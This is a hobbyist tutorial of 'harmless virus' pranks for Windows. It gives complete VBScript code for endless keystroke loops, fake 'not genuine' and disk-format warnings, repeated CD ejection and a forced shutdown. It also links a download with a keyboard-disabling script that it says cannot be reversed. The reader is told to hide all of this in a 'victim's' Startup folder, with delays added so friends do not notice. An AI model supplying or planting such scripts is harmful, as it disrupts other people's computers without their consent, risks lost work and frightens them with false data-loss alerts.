Great harmless virus

Today im gonna teach you a great trick you can use in school or your friends house.... it will show a black screen and tell that the pc has been infected by a virus and the hard drives are being wiped out ..... actually its just a powerpoint slide show on kiosk mode .. as pressing "esc" can end a kiosk slideshow i provided you guys with a vbs script that will disable the whole keyboard but beware that the disabled keyboard cant be reversed .... just follow the instructions below

1. first download "virus.rar"    Click to download "virus.rar"
2.extract the files and copy "final.pps" and "keyboard disable.vbs" to VICTIMS computer
3. put the files in :-
     
         C:/users/victims name/appdata/roaming/microsoft/windows/startmenu/programs/startup

4. now the powerpoint slide show will begin at startup .... if you want to check opening "final.pps" wont do no harm ... if you want to do some modifications use the "lol.pptx" or rename the "final.pps" to "final.pptx" check the slide show and you will know how the victim will feel when he sees it ...

Make your computer welcome you

you can make your computer welcome you by using this vbs script ... this will say "hello master" you can change to whatever you want

Dim speaks, speech
speaks="hello, master"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks

then paste the vbs file to:
C:/users/your user/appdata/roaming/microsoft/windows/startmenu/programs/startup

VBS PRANKS TO DRIVE YOUR FRIEND CRAZY

so today im going to share some vb scripts pranks ... copy them to notepad and save them ....they only work when you rename them ".vbs"

STOP ME IF YOU CAN 


MsgBox "stop me..! if you can"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


A msg box saying "stop me if you can" appears and then keeps pressing backspace ... i think you guys would know what will happen next



HIT ENTER


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

this will keep hitting enter making it impossible to do anything

GENUINE WINDOWS PRANK


do
X = MsgBox("This copy of windows is not genuine. Starting computer format in 15 minutes. ", ,"Error")
X = MsgBox("Close all opened programs.", vbQuestion ,"Error")
loop

a msgbox pops up and says that the copy of windows is not genuine .. and it will start computer format in 15 minutes


CRAZY DRIVE


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


This is one of my favorites .. it keepss ejecting the cd roms ... and keeps on looping


HOW ARE YOU 


Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

this opens notepad and slowly writes how are you. im good. thanks .

SHUT DOWN


For ok = 0 To 1 Step 2
WScript.echo ("hello")
msgbox ("Are you having fun?")
msgbox ("Because I am.")
msgbox ("Let's have fun together!")
next
dim strShutDown,objShell
' -s = shutdown, -t 0 = no timeout, -f = force programs to close
strShutdown = "shutdown.exe -s -t 0 -f -m \\" & strComputer
set objShell = CreateObject("WScript.Shell")
objShell.Run strShutdown, 0, false

shuts down the computer after a message

malfunctioning software


do
intResponse = MsgBox("microsoft access has crashed", _
vbCritical + vbSystemModal, _
"Fatal Error!")

intResponse = MsgBox("Harmful virus detected!", _
vbExclamation + vbSystemModal, _
"Warning!")

intResponse = MsgBox("Computer must be formatted to remove virus. Do you want to start computer format now?", _
vbYesNo + vbExclamation + vbSystemModal + vbDefaultButton2, _
"Warning!")
If intresponse = vbYes Then
    intresponse = MsgBox("Prparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
Else
    intResponse = MsgBox("Unable to cancel computer format", _
    vbCritical + vbSystemModal, _
    "Error")
    intresponse = MsgBox("Preparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
End if

intresponse = MsgBox("Starting format!", _
vbExclamation + vbSystemModal, _
"Warning!")
loop

you can change the microsoft access to anything you want ... its harmless ... just msgboxes

DISCO


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

you can have a disco on your keyboard

to terminate these just go to task manager and check processes for wscript then end that ... ENJOY
for more fun add


WScript.Sleep 180000
WScript.Sleep 10000

to the start of the scripts by right clicking and selecting edit ... then the vbs will start some time later so your friends wont know you did it

for still more fun  copy the scripts to
 C:/users/the user you want to prank/appdata/roaming/microsoft/windows/startmenu/programs/startup
then the scripts will start every time the user starts his machine